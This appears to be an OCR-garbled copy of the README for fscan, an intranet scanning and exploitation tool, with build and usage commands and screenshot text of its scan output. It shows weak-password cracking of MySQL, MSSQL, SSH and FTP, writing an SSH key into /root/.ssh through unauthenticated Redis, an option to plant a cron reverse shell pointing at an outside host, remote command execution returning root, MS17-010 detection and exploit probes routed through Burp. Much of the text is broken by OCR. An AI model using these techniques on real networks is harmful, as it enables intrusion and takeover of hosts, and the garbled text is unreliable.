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# Bty
go build -ldflags="-s -w" -trimpath main.go

# UPXE4E (R[ik)

upx -9 fscan

REERE

# Arch Linux
yay -S fscan-git
1)

paru -S fscan-git
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fscan.exe -h 192.168.x.x (£IHBE. ms17010, EEIMEK(EE)

E¥ Windows PowerShell bd } ~ - O X

PS D:\tools\fscan> .\fscan.exe 192.168.1.13

AR I S
PRV VAR ARE| VSN
_____ AW W by
- | L ima® || BT o, o [N [
(ICMP) Target '192.168.1.13' is alive
192.168. :21 open
192.168. 122 open
192.168. 11433 copen
192.168. :1521 open
192.168. 13306 open -
192.168. 15432 open
192.168. 16379uopen =ix
192.168. :9000_open
192.168. 1112117 open
192:168.1.13:27017 open
WebTitle:http://192.168.1L13:9000 200 None
Redis:192.168.1.13:6379 unauthorized
Memcached:192.168.1.13:11211 unaufherdzed
Redis:192.168.1.13:6379. 1ike can writep/root/.ssh/
Redis:192.168.1.13:6379 like can write /var/spool/cron/
mysql:192.168.1.13:3306:root 123456
mssql:192.168.1.13:1433:sa adminl23A
SSH:192.168.1.13:22:root adminl23
FTP:192.168.1.13:21:admin 123456
scan end

RPRRPRRPRRPRRPRRRPRR

PS D:\tools\fscan> .\fscahzexe -h 192.168.1.11

A\ w— 1|1 __
A W SNy AN 4 2 S VA
o N
/Al o] N\, 1| U\
(ICMP) Target '192.168.1.11' is|alive
192.168.1.11:135 open
192.168.1.11:445 open
NetInfo:
[*]192.168.1.11
[->]reet-8cb39e3121
[->]192.168.1.11
192.168.1.11 MS17-010 (Windows Server 2003 3790 Service Pack 2)

Page 3 of 9


https://github.com/shadow1ng/fscan/blob/main/image/1.png
https://github.com/shadow1ng/fscan/blob/main/image/1.png
https://github.com/shadow1ng/fscan/blob/main/image/4.png
https://github.com/shadow1ng/fscan/blob/main/image/4.png

https://github.com /shadowlng/fscan

fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis E/\4R)

E¥ Windows PowerShell * - i

PS D:\tools\fscan> .\fscan.exe 192.168.1.13 id_rsa.pub

/ A\ e~ =l

ATAVARSNARR| /S X /vy
S S N NalefmISC |

- | e |27 A ;o |\ [

(ICMP) Target '192.168.1.13' is alive
192.168. 122 open
192.168. 121 open
192.168. 11433 open
192.168. :1521 open
192.168. 13306 open
192.168. 15432 open
192.168. 16379uopen =1
192.168. 19000_open
192.168. 1112117 open
192.168.1.13:27017 open
WebTitle:http://192.168.1L13:9000 200 None
Redis:192.168.1.13:6379 unauthorized
Memcached:192.168.1.13:11211 unauthérized
Redis:192.168.1.13:6379. 1ike €an writew/root/.ssh/
192.168.1.13:6379 SSH public key was written successfully
Redis:192.168.1.13:6379 like can write /var/spool/cron/
mysql:192.168.1.13:3306:root 123456
mssql:192.168.1.13:1433:sa adminl23A
SSH:192.168.1.13:22:root adminl23
FTP:192.168.1.13:21:admin 123456
scan _end

PRRPRPRHERPRPRPER

fscan.exe -h 192.168.x.x -c "whoami;id" (ssh #@<)

¥ Windows PowerShell X - o

PS D:\tools\fscan> .\fscan.exe 192.168.1.

=\ — T DN el ]
F AN | LR Gl | |
J VIR BN No_ NCEalal fec |8l cL] v <
\____/| sk G =S|BHE e e | LY
(ICMP) Target '192.168.1.13" is alive
192.168.1113:22 open
192.168.1.13:21 open
192.168.1.13:1433 epen
192.168.1.13:3386 open
192.168.1.13:1521 open
192.168.1. 15432 open.
192.168.1.13:6379 opERED STAS
192.168.1.13:9000 open.
192.168.1.13:11211 open
192.168.1.13:27017 openy
Redis:192.168.1.13:6379 unauthoriz
Memcached .168.1.13:11211 ungutherized
WebTitle:http://192.168.1.13:9000 2087 Hones,
Redlig:192.168.1.13:6379 like.can, mrite” /10ot/.ssh/
Redis3192.168.1.13:6379 like can'‘Write /var/spool/cron/
mysql:192.16871.13:3306:root 123456 1 piagl
mssql:192.168.1.1 433:sa adminl23A
SSH:192.168.1.13:22:root adminl23

root
F Fid=8(root) #Hid=e(root) #H=e(root)

FTP:192.168.1.13:21:admin 123456
scan end
PS D:\tools\fscan> |
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fscan.exe -h 192.168.x.x -p8@ -proxy http://127.0.0.1:8080 —HEzFFxrayfpoc

W Burp Suite Professional v2020,11.3 - Temporary Project - licensed to shadowing

E¥ Windows PowerShell x|+ v

N Burp Project Intruder Repeater Window Help

password file

-rf string Dashboard ~ Target | Proxy | Intruder = Repeater = Sequencer | Decoder  Comparer = Extender  Project options = U
redis file to write sshkey file (as: -rf id_rsa.pub) Intercept | HTTP history | WebSockets history | Options

-rs string —_———
redis shell to write cron file (as: -rs 192.168.1.1:6666)

Filter: Hiding €SS, image and general binary content

-t int # Host Method URL Params Edited ~ Status Length MIMEtype Exi
Thread nums (default 206)

| iheding 316 hitp//192.168.1.1 POST  /wls-wsat/CoordinatorPortType v 404 123 text
Set. ti0Sal FEEulE 3) 315 hitp//192.168.1.1 GET Jjsrpe.phpltype=0&mode=1&meth. v 204 123 text php
“user seade 314 http//192.468.4.1 POST  fwls-wsat/CoordinatorPortType v
Loy 313 hitp//192.168.1.1 POST  /password_change.cgi v 204 123 text cgi
-userf|string 312 httpy//192.168.1.1 GET /2abbix.php?action=dashboard.view. v 104 123 text php
ISernandiEie 311 hitp//192.168.1.1 POST  wls-wsat/CoordinatorPortType v 204 123 text
Zaopfin : : 310 hupy//192.168.1.1 POST  /_async/AsyncResponseService v
Set web_timeout. (default 3) = o N 309 nttpy//192.168.1.1 GET /console/images/%252E /console p. 404 123 text
PS D:\tools\fscan\Releases> -.\fscan_upx32.exe -h 192.168: ¢ /8. Pl 308 http,//192.168.1.1 GET /uddiexplorer/SearchPublicRegistrie. v 104 123 text jsp
5 : > = 307 hitp//192.168.1.1 POST  wls-wsat/CoordinatorPortType v
306  http//192.168.1.1 GET /wxjsapi/saveYZ File?fileName=test... v 404 123 text
305 hitp//192.168.1.1 GET wixjsapi/saveVZIFile?fileName=test. v 404 123 text
Request Response = = see
==L Y ] - g ) Raw) [l [Actonal™ Raw Render \n Actions v Request |
(ICMP) Target '192.168.1.1' is alee - ; 1 POST /wls-wsat/CoordinatorPortType HTTP/L.1 1 HTTP/1.1 404 Not Found
dcmplalive hosts len is:“1 2 : .L.1:8D 2 Comneetion: closs Response
: Mozilla/s5.0 (Vindows NT 6.1) Appleve Content-Type: text/heml

192:168.1:1%88 open ¢
WebTitle:http://192.168.1.1:80 288 zhlmf‘smﬂé‘- 5 : text/wml 5
scan end 6 ing: gzip, deflate & <nl>

ep

PS D:\tools\fscan\Releases> 7 Gonmter tons <iose et Found
</hl>

File not found.

< Content-Length: 33

omatches  (2)40} [« ||| searen 0 matches

fscan.exe -h 192.168.x.x -p 139 (netbiosiMl, Igiz i,o”:'] TIEIE‘]U]DC{J@%&?’*)

start vulscan
[*] 192.168.
[*] 192.168.
[#1-192.168.
f*].192.168.
[+] 192.168,
[*] 192.168.
[+].192.168.
[*] 192.168.
[*] 192.168.
[*] 192.168.
[*] 192.168.
Bk 12/12
scan end

PS D:\tools\fscan> go run .\main.go 192.168.1.1/24 139

.169

.6 * " B, =i
.93 = ] e LTSC-2019 17763
.85 ] ( LTSC 20819 17763
.57  [+1DC f : ' .

.185 WORKGROUP\DESKTOP-7THE95C  Windows J10“Ente ige 10240

.66 WORKGROUP\PC-20190806AWLT Windows IO (Enteérprise LTSC 2019 17763
.135 WORKGROUP\HXT-PC  Windows 10 Enterprise 19240

.59 ART\YU1 Windows 7 Professional 7601 Serwvice Pack 1

.us WORKGROUPNADMIN-PC  Windows 7 Professional 7601 Service Pack 1
.111 WORKGROUP\USER-HBLAN167EP Windows 7 Ultimate 7601 Service Pack 1

RPRRPRHERRR PP P

go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbiosh}, A4 BI/RTTEHInetbios(5E)

Windows PowerShell X Windows PowerShell X + v = O X

HXT-PC U Workstation Ser
WORKGROUP G Domain Name
HXT-PC U Server Service
WORKGROUP G Browser Ser

Windows 10 Enterprise 10240 |Windows 10 Enterprise 6.3
NetBIOS domain name : HXT-PC

NetBIOS computer name : HXT-PC

DNS domain name * i HXT-PC

DNS computer name™ == HXT-PC -

[*] 197.168.1.45 WURI1E0 SHORKGROUP\

ADMIN-PC U<Server Service
ADMIN-PC U Workstation Serv:_ce
WORKGROUP G Domain Nane
WORKGROUP G Browser -
WERKGROUP U Master Browser.
BE_._MSBROWSE__O

Windows 7 Professional 7601 Service-Pack'd|Windows 7 Dro-Fess:.ona
NetBIOS domain nanme : WIN-U45ALQE8SLT23 T
NetBIOS computer name : WIN-U45ALQ8S5L723

DNS domain name : admin-PC

DNS computer name : admin-PC

25 13/13
scan end
PS D:\tools\fscan> go run .\main.go 192.168.1.1/24 netbios
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go run .\main.go -h 192.0.0.0/8 -m icmp(FRIWEACEHIMKXFIEANFEHLIP, F&eittop 10 B, (BRAEF/EHE)

E¥ Windows PowerShell X t ~ - O X

(icmp) Target 192 . is alive
(icmp) Target 192.25° is alive
(icmp) Target 192.2 0. is alive
(icmp) Target 192 0. is alive
(icmp) Target s 205, is alive
(iecmp) Target 253, 252° is alive
(icmp) Target ; 204, is alive
(icmp) Target ; : . is alive
(icmp) Target

(iemp) Target :255.235.

[*] LiveTop 192.177.0.8/16

[*] LiveTop 192.181.0.8/16

[*] LiveTop 192.6.8.8/16

[*] LiveTop 192.185.8.8/16"

[*] LiveTop 192,99.8.68/16

[*] LiveTop 192.186.8.8/16

[+] LiveTop 192.1356.9.8/16

[#] LiveTop 192.169.8:8/16

[*] LiveTop 192.182.60.8/16

[*] LiveTop 192.162.8.8/16

[#]] ‘LiveTop 192.158.235.8/24U

[*] LiveTop 192.124.175.68/24

[#] LiveTop 192.151.28.8/204

[*] LiveTop 192.136.195.08/24

[*] LiveTop 192.162.48.8/24

[*] LiveTop 192.177.28.8/24

[*] LiveTop 192.136.242.68/2u

[*] LiveTop 192.177.38.8/24

[*] LiveTop 192.6.54.8/24

[*] LiveTop 192.190.1u44.8/24

[*] Icmp alive hosts len is:

scan end

PS D:\tools\fscan> go run .\main.go 2.1.1.1/8 iemp

R
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2025/2/14 2004 PORT 127001 open {'port":80}

2025/2/14 20:04 PORT 127001 open {'port"445}

2025/2/14 20:04 PORT 127001 open {port"7890}

2025/2/14 20.04 PORT 127001 open {'port"7680}

2025/2/14 20.04 PORT 127001 open {'port”:135}

2025/2/14 2004 PORT 127001 open {‘port"8080}

2025/2/14 20:04 PORT 127001 open {'port"10000}

2025/2/14 20:04 PORT 127001 open {'port9097}

2025/2/14 20:04 SERVICE 127001 identified {info"*Ubuntu’,"os""Linux","port":80, product""nginx" "service™http",'version""124.0

2025/2/14 20.04 SERVICE 127001 identified {'port":445,"service""unknown'}

2025/2/14 20:04 SERVICE 127001 identified {‘port"8080,"service™"http'}

2025/2/14 20:04 SERVICE 127001 identified {'Port™10000,"service""unknown'}

2025/2/14 20:04 SERVICE 127001 identified {'port"7890,"service""unknown’

2025/2/14 20.04 SERVICE 127001 identified {'port":7680,"service""unknown'}

2025/2/14 20.04 SERVICE 127001 identified {'banner”"HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close 400 Bad Request’"port"909
2025/2/14 20:05 SERVICE 127001 identified {'port"135,"service""unknown’}

2025/2/14 20:05 SERVICE 127001 identified {hostname" Bfrostipvd"[ 182168 80. 18216844 1"/ 192168 31 62 17221 1121°717217321°1096007; \Dvﬁ ['d00
2025/2/14 20:05 SERVICE 127001 identified {fingerprints"null‘length""19" "port"-"3097" "server_info"{ D ate”°Fr, 1
2025/2/14 20.05 SERVICE 127001 identified {‘fingerprints"nulllength""682","port""8080","server_info"{ Ven', 682"

2025/2/14 20:05 SERVICE 127001 identified {"fingerprints”null length™"0""port ™" 7830, server info"{'content-length" "0, length""0","status_code"400, ttle" '7‘94§7)
2025/2/14 20:05 SERVICE 127001 identified {fingerprints”null length”615"" port""80","server_info"{ content-type":"text/ntml" "date""Fri, 14 Feb 2025 12.05:37 GM
2025/2/14 20:05 SERVICE 127001 identified {fingerprints"null‘length""27","port":"10000","server_info"{" length'27"" e’
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